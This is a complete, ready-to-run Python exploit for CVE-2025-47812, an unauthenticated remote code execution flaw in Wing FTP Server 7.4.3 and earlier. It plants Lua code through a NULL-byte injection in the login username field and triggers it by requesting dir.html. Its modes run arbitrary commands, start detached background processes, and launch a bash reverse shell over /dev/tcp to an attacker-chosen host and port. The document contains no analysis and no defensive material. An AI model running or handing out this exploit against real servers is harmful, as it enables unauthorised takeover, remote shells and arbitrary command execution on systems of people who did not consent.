#!/usr/bin/env python3
"""
CVE-2025-47812 — Wing FTP Server <= 7.4.3 unauth RCE
Cleaned up for reliable shell delivery.
"""

import argparse
import logging
import re
import sys
import time
from urllib.parse import quote, urljoin

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

log = logging.getLogger("wingftp-rce")


class WingFTPExploit:
    def __init__(self, target_url, username="anonymous", password="", timeout=10):
        self.base = target_url.rstrip("/") + "/"
        self.username = username
        self.password = password
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update(
            {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) Firefox/139.0",
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                "Accept-Language": "en-US,en;q=0.5",
                "Connection": "keep-alive",
            }
        )
        self.session.cookies.set("client_lang", "english")
        self.uid = None

    def _build_payload(self, lua_body):
        """
        Wrap Lua body inside the NULL-byte injection.
        lua_body should be valid Lua — no leading/trailing comma or close-bracket.
        """
        encoded_user = quote(self.username)
        encoded_pass = quote(self.password)
        # %00 = NULL byte that splits c_CheckUser() vs session-write logic
        # ]] closes the original Lua string, then our code runs, then -- comments rest
        encoded_lua = quote(lua_body, safe="")
        return f"username={encoded_user}%00]]%0d{encoded_lua}%0d--&password={encoded_pass}"

    def _login(self, lua_body):
        """Send the injection POST and capture the UID cookie."""
        url = urljoin(self.base, "loginok.html")
        payload = self._build_payload(lua_body)
        log.debug("POST %s", url)
        log.debug("Lua: %s", lua_body)
        r = self.session.post(
            url,
            data=payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=self.timeout,
        )
        m = re.search(r"UID=([^;]+)", r.headers.get("Set-Cookie", ""))
        if not m:
            raise RuntimeError(
                f"No UID cookie returned — target probably not vulnerable (HTTP {r.status_code})"
            )
        self.uid = m.group(1)
        log.debug("UID=%s", self.uid)

    def _trigger(self):
        """Hit dir.html to execute the planted Lua."""
        url = urljoin(self.base, "dir.html")
        log.debug("GET %s", url)
        r = self.session.get(
            url,
            cookies={"UID": self.uid},
            timeout=self.timeout,
        )
        return r.text

    def _extract(self, body):
        """Pull text between our markers; falls back to pre-XML chunk."""
        m = re.search(r"===START===(.*?)===END===", body, re.DOTALL)
        if m:
            return m.group(1).strip()
        # No markers — return whatever came before the XML
        return re.split(r"<\?xml", body, maxsplit=1)[0].strip()

    def check(self):
        """Sanity check: run `id` and see if we got output."""
        lua = (
            'local h=io.popen("(id) 2>&1")\n'
            'local r=h:read("*a")\n'
            "h:close()\n"
            'print("===START==="..r.."===END===")'
        )
        self._login(lua)
        out = self._extract(self._trigger())
        if "uid=" in out:
            log.info("Target is vulnerable. id => %s", out)
            return True
        log.warning("No id output — target may not be vulnerable. Body: %r", out[:200])
        return False

    def exec_blocking(self, cmd):
        """Run cmd, capture stdout+stderr, return it. For quick non-interactive stuff."""
        # Escape double quotes in cmd for the Lua string
        safe = cmd.replace("\\", "\\\\").replace('"', '\\"')
        lua = (
            f'local h=io.popen("({safe}) 2>&1")\n'
            'local r=h:read("*a")\n'
            "h:close()\n"
            'print("===START==="..r.."===END===")'
        )
        self._login(lua)
        return self._extract(self._trigger())

    def exec_detached(self, cmd):
        """
        Fire-and-forget. Output redirected to /dev/null, process backgrounded
        with setsid + nohup so it survives the request returning.
        Use for reverse shells.
        """
        safe = cmd.replace("\\", "\\\\").replace('"', '\\"')
        wrapped = f"setsid nohup sh -c '{safe}' >/dev/null 2>&1 </dev/null &"
        lua = f'os.execute("{wrapped}")'
        self._login(lua)
        self._trigger()
        return True

    def revshell(self, lhost, lport):
        """Spawn a bash reverse shell to lhost:lport. Returns once launched."""
        cmd = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
        log.info("Launching reverse shell -> %s:%s", lhost, lport)
        ok = self.exec_detached(cmd)
        if ok:
            log.info("Payload fired. Check your listener.")
        else:
            log.error("Trigger response didn't confirm launch — check manually.")
        return ok


def main():
    p = argparse.ArgumentParser(description="CVE-2025-47812 — Wing FTP RCE")
    p.add_argument(
        "-u",
        "--url",
        required=True,
        help="Target base URL, e.g. http://10.10.10.10:5466",
    )
    p.add_argument("-U", "--username", default="anonymous")
    p.add_argument("-P", "--password", default="")
    p.add_argument("-v", "--verbose", action="store_true")

    sub = p.add_subparsers(dest="mode", required=True)
    sub.add_parser("check", help="Verify vuln by running `id`")
    s_exec = sub.add_parser("exec", help="Run a single command and print output")
    s_exec.add_argument("command")
    s_shell = sub.add_parser("shell", help="Spawn bash reverse shell")
    s_shell.add_argument("lhost")
    s_shell.add_argument("lport", type=int)
    s_det = sub.add_parser("detached", help="Run any command detached (no output)")
    s_det.add_argument("command")

    args = p.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="[%(levelname)s] %(message)s",
    )

    ex = WingFTPExploit(args.url, args.username, args.password)

    try:
        if args.mode == "check":
            sys.exit(0 if ex.check() else 1)
        elif args.mode == "exec":
            out = ex.exec_blocking(args.command)
            print(out)
        elif args.mode == "shell":
            ex.revshell(args.lhost, args.lport)
        elif args.mode == "detached":
            ex.exec_detached(args.command)
    except Exception as e:
        log.error("%s", e)
        sys.exit(2)


if __name__ == "__main__":
    main()